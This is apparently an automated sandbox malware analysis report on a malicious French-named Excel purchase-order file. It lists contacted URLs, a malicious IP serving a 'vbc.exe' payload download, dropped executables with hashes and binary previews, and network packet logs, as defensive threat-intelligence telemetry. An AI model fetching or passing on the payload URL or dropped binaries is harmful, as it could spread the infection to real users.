http://java.sun.com	explorer.exe, 00000007.00000000.983528544.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1034341934.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.996739649.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1009149384.0000000000335000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.icra.org/vocabulary/.	explorer.exe, 00000007.00000000.1038912442.0000000003CF7000.00000002.00000001.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.	explorer.exe, 00000007.00000000.1034899702.0000000001DD0000.00000002.00000001.00040000.00000000.sdmp	false		high
http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv	explorer.exe, 00000007.00000000.1007066480.000000000869E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.993998682.0000000008575000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1019426082.0000000008575000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.994421316.000000000869E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1019795394.0000000008807000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1006658399.0000000008575000.00000004.00000001.00020000.00000000.sdmp	false		high
http://investor.msn.com/	explorer.exe, 00000007.00000000.1012455681.0000000003B10000.00000002.00000001.00040000.00000000.sdmp	false		high
http://www.piriform.com/ccleaner	explorer.exe, 00000007.00000000.993794779.00000000084C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1019795394.0000000008807000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1006658399.0000000008575000.00000004.00000001.00020000.00000000.sdmp	false		high
http://computername/printers/printername/.printer	explorer.exe, 00000007.00000000.1015141560.00000000046D0000.00000002.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://www.%s.comPA	explorer.exe, 00000007.00000000.1034899702.0000000001DD0000.00000002.00000001.00040000.00000000.sdmp	false	URL Reputation: safe	low
http://www.autoitscript.com/autoit3	explorer.exe, 00000007.00000000.983528544.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1034341934.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.996739649.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1009149384.0000000000335000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org	explorer.exe, 00000007.00000000.983528544.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1034341934.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.996739649.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1009149384.0000000000335000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.piriform.com/ccleanerv	explorer.exe, 00000007.00000000.1001945671.0000000004385000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.989754024.0000000004385000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1014187603.0000000004385000.00000004.00000001.00020000.00000000.sdmp	false		high
http://103.156.91.153/fdcloudfiles/vbc.exehhC:	EQNEDT32.EXE, 00000002.00000002.965721686.000000000062E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://servername/isapibackend.dll	explorer.exe, 00000007.00000000.1003526577.0000000006450000.00000002.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	low

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
103.156.91.153	unknown	unknown		134687	TWIDC-AS-APTWIDCLimitedHK	true

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	626175
Start date and time: 13/05/202217:06:21	2022-05-13 17:06:21 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 10m 4s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	BON DE COMMANDE POUR CHENOUFI AEK.xlsx
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.expl.evad.winXLSX@11/16@0/1
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 35.9% (good quality ratio 34.6%) Quality average: 75% Quality standard deviation: 28.2%
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .xlsx Adjust boot time Enable AMSI Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, audiodg.exe, WerFault.exe, conhost.exe, svchost.exe
TCP Packets have been reduced to 100
Excluded IPs from analysis (whitelisted): 104.208.16.94, 52.182.143.212
Excluded domains from analysis (whitelisted): onedsblobprdcus15.centralus.cloudapp.azure.com, watson.microsoft.com, legacywatson.trafficmanager.net, onedsblobprdcus16.centralus.cloudapp.azure.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
17:07:42	API Interceptor	89x Sleep call for process: EQNEDT32.EXE modified
17:07:55	API Interceptor	61x Sleep call for process: bmexo.exe modified
17:08:28	API Interceptor	220x Sleep call for process: chkdsk.exe modified

Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	downloaded
Size (bytes):	263783
Entropy (8bit):	7.9127214183326275
Encrypted:	false
SSDEEP:	3072:LODZGPEounb6dFqeTHg1WG3Tpf8o7j8kRSLCXD35Zq66TvNJsd19vQ1/A3wCEGj7:LOtIO6RsBTpfD7lRVq6uJM194uLiC87i
MD5:	5AF1C7DD89A535DEE51C3E28B4A74F8D
SHA1:	A4BEACE30EF4B975E247AFBAF837E757A5372F7E
SHA-256:	039EF59E7502A98D0B9A6A7E7818444F6DBD699A4CDB10A8DBA031222CFDDE6F
SHA-512:	28C4CAC036B93D8943D42613DC8C703A66D291393760524C22E0FCD76E7B67CE73E40704C29321E42765364638F0EE3C11AF52922700570BA47AB661B846A7F7
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
IE Cache URL:	http://103.156.91.153/fdcloudfiles/vbc.exe
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........!`G.@...@...@../OQ..@...@..I@../OS..@...c>..@..+F...@..Rich.@..........................PE..L.....Oa.................h....:.....F6............@...........................;...........@...........................................;.P............................................................................................................text....g.......h.................. ..`.rdata...............l..............@..@.data.....9.........................@....ndata........:..........................rsrc...P.....;.....................@..@................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\71EFD22C.wmf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ms-windows metafont .wmf
Category:	dropped
Size (bytes):	1970
Entropy (8bit):	5.125773446782967
Encrypted:	false
SSDEEP:	48:KxK48S3oEL48I+KL48uL48kL48tnL48I0L48Ih2L48Ls4fnPK6L48tOL48bCb3RM:KxKS3okSuEtN1O2FfUcM
MD5:	30935B0D56A69E2E57355F8033ADF98B
SHA1:	5F7C13E36023A1B3B3DAF030291C02631347C2AB
SHA-256:	077232D301E2DF2E2702BD9E7323806AC20134F989C8A4102403ECBF5E91485E
SHA-512:	5D633D1EC5559443D3DA5FAD2C0CFC5DBF6A006EF6FBEE8C47595A916A899FBDF713897289E99EE62C07B52CCB61578253791AC57712DF040469F21287A742E9
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	.....F.>...u........R........................u.F.............................-...................".....-...........................".....-....................-...........F...$.!.....!......2...9...?...C...F...G...F...C...?...9...2......!.........................................................................................-...............-.......-....................-...............$...[...6._...x.[.......-...............-.......-....................-...............$...o.D...x.#.w...G.o.D.....-...............-.......-....................-...............$.........!.V.{...y.............-...............-.......-....................-...............$.....M.w...n.@.[.....M.....-...............-.......-....................-...............$.......f...Q...........-...............-.......-....................-...............$...'.U.....K...'.U.....-...............-.......-....................-...............$.c...u...\...D...,.........j...S...=...%.........x...c...N...:...&.v...p...

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\AD6B8317.wmf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ms-windows metafont .wmf
Category:	dropped
Size (bytes):	4630
Entropy (8bit):	5.070400845866794
Encrypted:	false
SSDEEP:	96:RmljFSTwLmSaj2W67xYK2dlEtF622okgmCCHtkTl9ggBgThsMihEylB8By98Rj:UlRSkCSajh6tL2dlEtFV2VgmVNkTl9gJ
MD5:	1A4FF280B6D51A6ED16C3720AF1CD6EE
SHA1:	277878BEF42DAC8BB79E15D3229D7EEC37CE22D9
SHA-256:	E5D86DD19EE52EBE2DA67837BA4C64454E26B7593FAC8003976D74FF848956E7
SHA-512:	3D41BAF77B0BEEF85C112FCBD3BE30E940AF1E586C4F9925DBDD67544C5834ED794D0042A6F6FF272B21D1106D798CBB05FA2848A788A3DAFE9CFBC8574FCECA
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	...................[R..................................D.^...................-...................".....-...........................".....-.....................-...............$...........o.............................-...............-.......-.....................-...............$.......W.....i...T.........-...............-.......-.....................-...........>...$.....~.........................z...m.....H.v.....?.........................\|...r...f...Z...L...>...0... .............~.....-...............-.......-.....................-...........6...$.....................................-...?...U...n...........!...!.........................................-...............-.......-.....................-...........8...$.......................s...e.g.\.L.Y./.[..._...g...p...~.............'.../...L.v.g.i...V...@...'...............-...............-.......-.....................-........... ...$.......................r...{...................................-...............-.......-...........

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\BCA69961.wmf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ms-windows metafont .wmf
Category:	dropped
Size (bytes):	4630
Entropy (8bit):	5.070400845866794
Encrypted:	false
SSDEEP:	96:RmljFSTwLmSaj2W67xYK2dlEtF622okgmCCHtkTl9ggBgThsMihEylB8By98Rj:UlRSkCSajh6tL2dlEtFV2VgmVNkTl9gJ
MD5:	1A4FF280B6D51A6ED16C3720AF1CD6EE
SHA1:	277878BEF42DAC8BB79E15D3229D7EEC37CE22D9
SHA-256:	E5D86DD19EE52EBE2DA67837BA4C64454E26B7593FAC8003976D74FF848956E7
SHA-512:	3D41BAF77B0BEEF85C112FCBD3BE30E940AF1E586C4F9925DBDD67544C5834ED794D0042A6F6FF272B21D1106D798CBB05FA2848A788A3DAFE9CFBC8574FCECA
Malicious:	false
Preview:	...................[R..................................D.^...................-...................".....-...........................".....-.....................-...............$...........o.............................-...............-.......-.....................-...............$.......W.....i...T.........-...............-.......-.....................-...........>...$.....~.........................z...m.....H.v.....?.........................\|...r...f...Z...L...>...0... .............~.....-...............-.......-.....................-...........6...$.....................................-...?...U...n...........!...!.........................................-...............-.......-.....................-...........8...$.......................s...e.g.\.L.Y./.[..._...g...p...~.............'.../...L.v.g.i...V...@...'...............-...............-.......-.....................-........... ...$.......................r...{...................................-...............-.......-...........

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\E4ED06E0.emf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	223752
Entropy (8bit):	3.2805343869701504
Encrypted:	false
SSDEEP:	1536:gAGsM8yOYZWQ99d99H9999999lN6Hz8iiiiiiiiiiiiiiiPnHnbq+QVwtaKfdL4a:gMMVNSztnZft6rMMVNSztnZft6u
MD5:	8E3A74F7AA420B02D34C69E625969C0A
SHA1:	4743F57F0F702C5B47FA1668D9173E08ADA16448
SHA-256:	0CD83C55739629F98FE6AFD3E25A5BCBB346CBEF58BC592C1260E9F0FA8575A9
SHA-512:	ADE6B91E260AFA08CC286471D0AD7BCA82FF5E1FE506D48B37A13E3CDD2717171CDAC38C77CFF18FD4C26CA9470B002B63B7FDDC0466FC6F7010A772BF557054
Malicious:	false
Preview:	....l................................... EMF.....j..........................8...X....................?......F...........GDIC...............p.........8.........................F...........................A. ...........F.......(....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\F00B6FEE.wmf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ms-windows metafont .wmf
Category:	dropped
Size (bytes):	1970
Entropy (8bit):	5.125773446782967
Encrypted:	false
SSDEEP:	48:KxK48S3oEL48I+KL48uL48kL48tnL48I0L48Ih2L48Ls4fnPK6L48tOL48bCb3RM:KxKS3okSuEtN1O2FfUcM
MD5:	30935B0D56A69E2E57355F8033ADF98B
SHA1:	5F7C13E36023A1B3B3DAF030291C02631347C2AB
SHA-256:	077232D301E2DF2E2702BD9E7323806AC20134F989C8A4102403ECBF5E91485E
SHA-512:	5D633D1EC5559443D3DA5FAD2C0CFC5DBF6A006EF6FBEE8C47595A916A899FBDF713897289E99EE62C07B52CCB61578253791AC57712DF040469F21287A742E9
Malicious:	false
Preview:	.....F.>...u........R........................u.F.............................-...................".....-...........................".....-....................-...........F...$.!.....!......2...9...?...C...F...G...F...C...?...9...2......!.........................................................................................-...............-.......-....................-...............$...[...6._...x.[.......-...............-.......-....................-...............$...o.D...x.#.w...G.o.D.....-...............-.......-....................-...............$.........!.V.{...y.............-...............-.......-....................-...............$.....M.w...n.@.[.....M.....-...............-.......-....................-...............$.......f...Q...........-...............-.......-....................-...............$...'.U.....K...'.U.....-...............-.......-....................-...............$.c...u...\...D...,.........j...S...=...%.........x...c...N...:...&.v...p...

C:\Users\user\AppData\Local\Temp\bmexo.exe

Download File

Process:	C:\Users\Public\vbc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80384
Entropy (8bit):	6.294104149845472
Encrypted:	false
SSDEEP:	1536:k6TaC+v1wwfr0oxAomP3cX/4pi2sWjcd8dI:la5CwD1/ui58W
MD5:	FD42CBBC6D53AD34694C46731AABD852
SHA1:	BE1B3AF37A4E54040EDFBA4A728D5316181ACE7D
SHA-256:	2092286C74AA5DF753BE3FBDC6D3194104E89FC1C4A8E1BECEF8AE825FE4D052
SHA-512:	AEE5FA5F2D81965112518A3FFFB28ADD9F7A52545A686042D1EF8CA81F970ACF7B88BC7AF1FA3E789F07918A5A7DBF152A3A71E97D23CD2FD6EC21BBD609E799
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........w...w...w...%`..w...%^..w...%a.w......w...w..w..p....w..p.~..w..p....w..Rich.w..................PE..L...8.~b............................7.............@.......................................@..................................$.......p..................................T...............................@............................................text...U........................... ..`.rdata...N.......P..................@..@.data... 1...0......................@....rsrc........p.......*..............@..@.reloc...............,..............@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\fmrfya

Download File

Process:	C:\Users\Public\vbc.exe
File Type:	data
Category:	dropped
Size (bytes):	4810
Entropy (8bit):	6.182005918340119
Encrypted:	false
SSDEEP:	96:rvS/az70J2n6QKA9e3vYlKb23QPMW5Ba/3jy:Ttv0J1QKA4pb23bW5Ba/3W
MD5:	086741FA34CD34B27FB9B5EBA9783209
SHA1:	456B182F04DE595E5971C702BDEA0F2E6F5E81E1
SHA-256:	2EA0C458D3E8B5A1C217A3A5EB4B5115653C92AEFC8D920E111862413ACBCAF0
SHA-512:	66E6B4BF7FA709384847A848EFE0CA2DF8F3A2B953F27AD320F00D7A0912EB6A07BFC58D157CE765271AACC872E03043AC7564C4916BE61ECBA6B44FE8FBD8A4
Malicious:	false
Preview:	j..QQ6.}.}.034..aQ.4.....4....i..YQD.m.QQQ..UQl.l...Y.ihQQQ...6Ml.l...Y.icQQQ..A.6.l.l...Y.iBQQQ..I.6]l.l...Y.i-QQQ....6E.....9.....z...6e...i..J..i..}..i..m.......:Tb..i.6m..?..m43..U.ea..iQQQQ....X..ml.:l.A.l.I.9l...:l..l.i..S.....T....U..{R.al.........a..miQQQQD...QQQ....X..U....a...J?.Q6.}..4....Y...Q.......Q..........6Y..m...Q....R..Y.6mJ?.Q..gC.i..QQi..QQ?.Q..lL.i1.QQi3.QQ?.Q....i..QQi..QQ?.Q6.}.}..4....iD.Y.QQQ....m..YQ....mCQQ..m...m..Y...Yxei.QQ......z..:.JQ....5.M..iz..:..Q....5.M....9..Q......lL.iXRQQ.i.nll..Ux...i.l.i.lll..U..UQ...aQx.D.aRQQQ..aJ?.Q6.}.}..4....iD.Y.QQQ.....m..YQ....mCQQ..m...m..Y...Yxeiz.QQ.....QQQ..z..:.JQ....5.E..z..:..Q....5.E..z..:B.....5.E....J.............E..iz..:.......5.E....9..Q......gC.i_QQQ.ijmll..U...Q...i....Rx.l..l..l.l.l.i.kll..U..UQ...aQx.D.aRQQQ..aJ?.Q6.}.}.D.Y.QQQ..e..m..YQ....mCQQ..m...m..Y...Yxei..QQ......z..:.JQ..e.5.i..z..:..Q..e.5.i....9..Q..e.....i.QQQ.i.mll..Ux.l.l.i.nl

C:\Users\user\AppData\Local\Temp\nsmD99.tmp

Download File

Process:	C:\Users\Public\vbc.exe
File Type:	data
Category:	dropped
Size (bytes):	274451
Entropy (8bit):	7.534851581609414
Encrypted:	false
SSDEEP:	3072:ldMe5ejQJleaiQ9c4aFvhp5Vg7AAuydCXpXqvFJCkOVyj4Fyjda5CwD1/ui58W:ceJFShpjupdCZqvLVO+WCkx
MD5:	384A5748B417139E08ACEEDD769BCF46
SHA1:	EBC2F56F76E58CE024678D56C3D06ECE94832C6C
SHA-256:	8B49AAEA3CE6F914D1E2C7B48902B9E3D44BAC9013A8FE6826000FB6E48654AC
SHA-512:	43798CFE7F8C28DA3DA98D7E51B3A4D60DCB5EE4F90086A1684B182478D6F7F9A0D0DA554ED1094B5EFB429A434FCFC58BAD115AEC53FDD67FEEE37E8B8177AA
Malicious:	false
Preview:	:5......,...................m....%......p4......:5..........................................................................................................................................................................................................................................G...............9...j...............................................................................................................................K...........#...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\pm30pgwp2di9

Download File

Process:	C:\Users\Public\vbc.exe
File Type:	data
Category:	dropped
Size (bytes):	175615
Entropy (8bit):	7.99037693756646
Encrypted:	true
SSDEEP:	3072:tdMe5ejQJleaiQ9c4aFvhp5Vg7AAuydCXpXqvFJCkOVyj4FyX:EeJFShpjupdCZqvLVO+X
MD5:	E5D98C0DED859D8A94EFF3DE479F7EC5
SHA1:	86ACE17C40569BA09C5AA4792969F9709E398A56
SHA-256:	9A974A3EF1A34282E6502D2BF42E6A8011BD42D126875CE15DEC0F9A8B030E43
SHA-512:	4770FDFA2899C6FD56FA8A39E7ABF45B9A9B42EF1F8193F8E7F310E1B219A098EF938A34B5C73D6403C942BC70CEC87DF1049E4DA715E6740041956050887E88
Malicious:	false
Preview:	T....-.......H....H.e.7..trc......i..R3xa.-T..<.Z%..@.../`C.}...i.DnqO.....>n.......%C{..S.~........._.X...Nm..R.Kh.....^l.][....].....i..8.V..=......<.DZ2.il..\|..N..z.....bZ..6...j...,Z_..s...........Z...Mv.......X....w..(.d.........Q=#..........-..x....L.D........O...rc.....&.i..R3.a.-T..<.Z%..@.X../. .s.1.E4w...Qy.m.8..+.C..a.k.....;.Q..j...xL`...=...Kh.....].l...+.\|ikh.. .C...0Q..{.>\|.B..\|..$.w.~{.......TaJ....#............Z_..s...?.0f...P/..Mv....Y..X...w..(.d.........=4....j.:....-..Y..\.L.D.....C....Jrc......i..R3xa.-T..<.Z%..@.X../. .s.1.E4w...Qy.m.8..+.C..a.k.....;.Q..j...xL`...=...Kh.....].l...+.\|ikh.. .C...0Q..{.>\|.B..\|..$.w.~{.......z..... U...........,Z_..s...?.0f....P...Mv....Y..X...w..(.d.........=4....j.:....-..Y..\.L.D.....C....Jrc......i..R3xa.-T..<.Z%..@.X../. .s.1.E4w...Qy.m.8..+.C..a.k.....;.Q..j...xL`...=...Kh.....].l...+.\|ikh.. .C.*..0Q..{.>\|.B..\|..$.w.~{.......z..... U...........,Z_..s...?.0f....P...Mv....Y..X...

C:\Users\user\AppData\Local\Temp\~DF05A0E9538DA984DE.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	CDFV2 Encrypted
Category:	dropped
Size (bytes):	95744
Entropy (8bit):	7.924269341639024
Encrypted:	false
SSDEEP:	1536:ZXCgcfyN02EkOn1m8GFY9MgSlAzLVLQPxr3g1SBKhD9Z26u:ZXSi02EkYHGOMPlUCPxLbopZ
MD5:	981661FB35D158853F012F21AADD7B92
SHA1:	2CE93CBF7651C472A598B8756F5301275D95E27F
SHA-256:	3084B6D063C6EC61503E90E6F2C61830EC915593FED9DDC719F67BC1EC24B49A
SHA-512:	E676218BBDC01687242E9E7695F838CD33E84E57E4E844ADBD307421315A3E5AC56267704685EF1A4E99C36EA1A6D1368433FEA736AA5E981265A5CF6BCE03B5
Malicious:	false
Preview:	......................>................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

C:\Users\user\AppData\Local\Temp\~DF4F6886DF9AB47DD5.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF5923B3D402615EB4.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF91A8639994D1ECD1.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\~$BON DE COMMANDE POUR CHENOUFI AEK.xlsx

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.4377382811115937
Encrypted:	false
SSDEEP:	3:vZ/FFDJw2fV:vBFFGS
MD5:	797869BB881CFBCDAC2064F92B26E46F
SHA1:	61C1B8FBF505956A77E9A79CE74EF5E281B01F4B
SHA-256:	D4E4008DD7DFB936F22D9EF3CC569C6F88804715EAB8101045BA1CD0B081F185
SHA-512:	1B8350E1500F969107754045EB84EA9F72B53498B1DC05911D6C7E771316C632EA750FBCE8AD3A82D664E3C65CC5251D0E4A21F750911AE5DC2FC3653E49F58D
Malicious:	true
Preview:	.user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C:\Users\Public\vbc.exe

Download File

Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	263783
Entropy (8bit):	7.9127214183326275
Encrypted:	false
SSDEEP:	3072:LODZGPEounb6dFqeTHg1WG3Tpf8o7j8kRSLCXD35Zq66TvNJsd19vQ1/A3wCEGj7:LOtIO6RsBTpfD7lRVq6uJM194uLiC87i
MD5:	5AF1C7DD89A535DEE51C3E28B4A74F8D
SHA1:	A4BEACE30EF4B975E247AFBAF837E757A5372F7E
SHA-256:	039EF59E7502A98D0B9A6A7E7818444F6DBD699A4CDB10A8DBA031222CFDDE6F
SHA-512:	28C4CAC036B93D8943D42613DC8C703A66D291393760524C22E0FCD76E7B67CE73E40704C29321E42765364638F0EE3C11AF52922700570BA47AB661B846A7F7
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........!`G.@...@...@../OQ..@...@..I@../OS..@...c>..@..+F...@..Rich.@..........................PE..L.....Oa.................h....:.....F6............@...........................;...........@...........................................;.P............................................................................................................text....g.......h.................. ..`.rdata...............l..............@..@.data.....9.........................@....ndata........:..........................rsrc...P.....;.....................@..@................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	CDFV2 Encrypted
Entropy (8bit):	7.924269341639024
TrID:	Generic OLE2 / Multistream Compound File (8008/1) 100.00%
File name:	BON DE COMMANDE POUR CHENOUFI AEK.xlsx
File size:	95744
MD5:	981661fb35d158853f012f21aadd7b92
SHA1:	2ce93cbf7651c472a598b8756f5301275d95e27f
SHA256:	3084b6d063c6ec61503e90e6f2c61830ec915593fed9ddc719f67bc1ec24b49a
SHA512:	e676218bbdc01687242e9e7695f838cd33e84e57e4e844adbd307421315a3e5ac56267704685ef1a4e99c36ea1a6d1368433fea736aa5e981265a5cf6bce03b5
SSDEEP:	1536:ZXCgcfyN02EkOn1m8GFY9MgSlAzLVLQPxr3g1SBKhD9Z26u:ZXSi02EkYHGOMPlUCPxLbopZ
TLSH:	4793014833DE4E98E5A30379DDA4DCA7ABC46D2A9E3321D3358131ADF2B05109EA547F
File Content Preview:	........................>......................................................................................................................................................................................................................................

File Icon


Icon Hash:	e4e2aa8aa4b4bcb4

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 13, 2022 17:07:41.349982977 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:41.565598011 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:41.565769911 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:41.567938089 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:41.784928083 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:41.784980059 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:41.785007954 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:41.785031080 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:41.785044909 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:41.785075903 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:41.785079956 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.000262022 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.000288963 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.000305891 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.000319004 CEST	80	49171	103.156.91.153	192.168.2.22
